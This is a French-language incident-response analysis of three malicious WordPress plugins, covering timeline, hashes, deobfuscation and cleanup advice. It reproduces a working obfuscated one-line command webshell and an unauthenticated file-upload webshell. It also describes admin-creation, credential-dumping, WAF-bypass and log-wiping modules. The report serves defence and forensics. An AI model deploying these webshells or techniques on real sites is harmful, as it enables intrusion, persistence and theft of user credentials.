Contexte de la découverte
Au cours d’une intervention de réponse a incident sur un site WordPress compromis, trois plugins suspects ont été identifiés dans le répertoire wp-content/plugins/. Aucun de ces plugins ne correspond à un plugin officiel WordPress. Leur analyse révèle un dispositif de compromission en couches, déployé sur trois jours.
| Plugin | Type | Taille | Sophistication | Rôle |
|---|---|---|---|---|
| flexible-analytics | Webshell | 196 o | Très faible | Backdoor furtive à un paramètre |
| utility-framework-692 | Uploader | 987 o | Faible | Upload de fichiers + bypass SSL |
| wordpress-configurator-optimizer | Toolkit | 71 842 o | Élevée | Panneau post-exploitation complet |
Chronologie de la compromission
Les horodatages des fichiers (timestamps mtime) permettent de reconstituer la séquence de déploiement. Les trois fichiers ont été déposés entre minuit et une heure du matin, à 24h d’intervalle :
- 12 juin — 00:58 : Déploiement du toolkit principal,
wordpress-configurator-optimizer.php(71 Ko, 1 516 lignes). Panneau d’administration offensif complet avec authentification, exécution de commandes, création d’administrateurs WordPress, dump de base de données et nettoyage de logs.
- 13 juin — 00:55 : Déploiement du webshell d’upload,
utility-framework-692.php(987 octets). Formulaire d’upload sans authentification et fonction de bypass SSL.
- 14 juin — 00:47 : Déploiement de la backdoor minimale,
flexible-analytics.php(196 octets). One-liner obfusqué exécutant des commandes via un paramètre GET.
Plugin 1 : flexible-analytics
Identification
| Nom déclaré | flexible-analytics |
| Version | 1.0 |
| Fichiers | 1 fichier PHP unique (196 octets) |
| SHA-256 | 6d63b3aa2b942de7a3305155c17eca26 297cc0f45b8d0da851edafbfb7e308ac |
| MD5 | fb4fa63ee6d405b04933251a56ede88f |
Analyse du code
L’intégralité du code tient en une ligne :
<?php
/**
* Plugin Name: flexible-analytics
* Version: 1.0
*/
$bleideik=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$rghhbtl=$bleideik;
if(isset($_GET["z960"]))$rghhbtl($_GET["z960"]);
Déobfuscation
La séquence d’appels chr() reconstruit simplement le mot system caractère par caractère : chr(115) = s, chr(121) = y, chr(115) = s, chr(116) = t, chr(101) = e, chr(109) = m. Le code déobfusqué revient donc à : if(isset($_GET["z960"])) system($_GET["z960"]);
L’attaquant exécute alors des commandes système en accédant à une URL du type /wp-content/plugins/flexible-analytics/flexible-analytics.php?z960=id.
Techniques d’obfuscation
- Construction dynamique du nom de fonction via
chr()pour éviter la détection par signature sur le mot-clésystem - Noms de variables aléatoires (
$bleideik,$rghhbtl) pour échapper aux heuristiques
Comportement et objectif
La petite taille et l’absence d’interface font de ce plugin un implant de persistance furtif. Il ne génère aucune sortie en l’absence du paramètre z960, le rendant invisible aux visiteurs et administrateurs en faisant une backdoor de secours, difficile à repérer lors d’un audit de surface.
Plugin 2 : utility-framework-692 Critique
Identification
| Nom déclaré | Utility Framework 692 |
| Version | 1.6.4 |
| Auteur déclaré | WP Core (usurpé) |
| Fichiers | 1 fichier PHP unique (987 octets) |
| SHA-256 | cedec18b58cd2092ecf3be0220af55d4 cdbbdf0f4661024864d53fc251efd0f8 |
| MD5 | c40dcef89d8be09841a565077ff2ae8c |
Analyse du code
Webshell d’upload
echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br>'
.php_uname()."<br/>"
.'<form method="post" enctype="multipart/form-data">'
.'<input type="file" name="__">'
.'<input name="_" type="submit" value="Upload"></form>';
if($_POST){
if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){
echo 'OK';
} else {
echo 'ER';
}
}
Le script affiche les informations système via php_uname() et présente un formulaire d’upload sans aucune authentification. N’importe quel visiteur connaissant l’URL peut uploader un fichier arbitraire sur le serveur. Le fichier est copié avec son nom original dans le répertoire courant, sans aucune vérification de type, d’extension ou de taille.
Fonction de bypass SSL
function ssl_bypass_curl($url, $post_data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// ...
}
La désactivation de la vérification SSL (CURLOPT_SSL_VERIFYPEER et CURLOPT_SSL_VERIFYHOST à false) facilite les communications sortantes vers des serveurs de Command & Control (C2) sans blocage par la vérification de certificat. La fonction n’est pas appelée dans ce fichier mais reste disponible pour des scripts uploadés ultérieurement.
Comportement et objectif
Ce plugin combine deux fonctions : dropper (dépôt de fichiers supplémentaires) et utilitaire réseau (bypass SSL pour les communications sortantes).
Plugin 3 : wordpress-configurator-optimizer Critique
Identification
| Nom déclaré | WordPress Configurator Optimizer |
| Version | 2.4.1 |
| Auteur déclaré | Developer Tools Team (fictif) |
| URI plugin | https://wordpress.org/plugins/wordpress-configurator-optimizer/ (fictif) |
| Licence | GPL v2 (usurpée) |
| Fichiers | 1 fichier PHP unique (71 842 octets, 1 516 lignes) |
| SHA-256 | 77cf2af32729c7f3b20592104da12b7d 6bb8e4a747ac3fa800ca6f8bc43f3395 |
| MD5 | f27fc453a98f5a1e8bc3c18c2534e3a3 |
Module 1, authentification et anti-détection
error_reporting(0);
@ini_set('display_errors', 0);
session_start();
$auth_pass = 'c8a88e504dfc8f35f7369480438bcae7';
$session_name = 'wp_admin_session_' . substr(md5($_SERVER['HTTP_HOST']), 0, 8);
La suppression des erreurs PHP rend le webshell invisible dans les logs d’erreurs. L’accès est protégé par un mot de passe dont le hash MD5 est c8a88e504dfc8f35f7369480438bcae7. Le nom de session est dynamique et préfixé avec wp_admin_session_, permettant un fonctionnement multi-sites sans collision. La page de login imite l’écran de connexion WordPress.
Module 2, moteur d’exécution de commandes (bypass WAF)
Il implémente 10 méthodes distinctes de contournement de WAF pour exécuter des commandes système, même lorsque des fonctions comme system() sont bloquées :
| # | Methode | Technique |
|---|---|---|
| 1 | PHP Filter chains | Inclusion via data:// et php://filter |
| 2 | Unicode bypass | Reconstruction via échappements hexadécimaux et Unicode |
| 3 | Variable variables | Construction dynamique via variables indirectes |
| 4 | Internal functions | array_map('chr', [...]) pour reconstruire le nom |
| 5 | ReflectionFunction | Invocation via l’API de réflection PHP |
| 6 | WordPress-specific | Abus de wp_remote_get() et WP_Filesystem |
| 7 | Encoding chain | ROT13, Base64, Hex pour encoder system |
| 8 | PHP wrapper abuse | Wrappers php://filter, compress.zlib:// |
| 9 | Fragmentation | str_split('system', 2) puis réassemblage |
| 10 | Fonctions alternatives | Fallback vers shell_exec, exec, passthru, proc_open, popen |
En dernier recours, le code tente assert() et eval() avec obfuscation supplémentaire. Cette cascade garantit l’exécution de commandes sur la quasi-totalité des configurations PHP, y compris avec des fonctions partiellement désactivées via disable_functions.
Module 3, création d’administrateurs WordPress
require_once($wp_files['wp_load']);
$user_id = wp_create_user($username, $password, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
// + attribution explicite de 40+ capabilities
Le module charge l’environnement WordPress via wp-load.php, crée un utilisateur, lui attribue le rôle administrator, puis ajoute explicitement plus de 40 capabilities individuelles (dont unfiltered_upload, edit_files, update_core, install_plugins). Ce double mécanisme est une technique de persistance : retirer le rôle ne supprime pas les capabilities, et inversement.
Module 4, dump massif des utilisateurs
Le module :
- Parse
wp-config.phpvia regex pour extraire les identifiants de base de données - Se connecte directement à MySQL via
mysqli, contournant l’API WordPress - Implémente une pagination par ID avec gestion de lots (batch de 1 000) pour les bases volumineuses
- Augmente les limites d’exécution (
max_execution_time = 600,memory_limit = 512M) - Exporte en deux formats :
username:email:hashetemail:hash(directement utilisable par Hashcat ou John the Ripper) - Inclut le fichier
wp-config.phpcomplet dans l’archive, exposant tous les secrets (identifiants BDD, clés de salage, secrets d’authentification) - Génère une archive ZIP (ou TAR en fallback) téléchargeable
Module 5, upload de fichiers
Upload de fichiers arbitraires dans un répertoire configurable avec chmod 0755 automatique et limite de 100 Mo. Permet le déploiement de malwares supplémentaires.
Module 6, console interactive
Terminal web exécutant les commandes via le moteur de bypass WAF. Inclut des quick commands pré-définis pour la reconnaissance : whoami, ps aux, netstat -an, find / -perm -4000 (recherche de binaires SUID pour l’escalade de privilèges), crontab -l, etc.
Module 7, anti-forensics (Clean Logs)
Un module de nettoyage de traces complet qui tente de :
- Supprimer tous les fichiers créés par le toolkit (suivis via un log interne
tool_wp.log) - Effacer les historiques shell (
~/.bash_history,~/.zsh_history) - Vider les logs Apache, Nginx et httpd (
access.log,error.log) - Vider les logs système (
/var/log/auth.log,/var/log/syslog,/var/log/messages) - Purger le journal systemd (
journalctl --vacuum-time=1d) - Supprimer les sessions PHP et fichiers temporaires
- Sur Windows : effacer les journaux d’événements via
wevtutil cl, les fichiers temporaires et les logs IIS
Stratégie de persistance en couches
L’attaquant a déployé trois niveaux de persistance indépendants et complémentaires :
- Le toolkit complet (
wordpress-configurator-optimizer), outil principal, protégé par mot de passe, contrôle total - Le webshell d’upload (
utility-framework-692), point d’entrée secondaire pour re-déployer des outils si le toolkit est supprimé - La backdoor one-liner (
flexible-analytics), dernier point de rentrée, minimaliste et furtif, exécutant des commandes même si les deux autres sont découverts
Recommandations
- Mettre le site hors ligne (mode maintenance ou coupure de l’accès web)
- Sauvegarder l’état actuel : copie complète avant toute modification
- Supprimer les trois plugins et vérifier l’absence de
tool_wp.log,wp_dump_*.zip,wp_dump_*.tar - Révoquer toutes les sessions WordPress
- Changer immédiatement les identifiants de base de données dans
wp-config.php - Regénérer les clés de salage WordPress (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY et les SALT)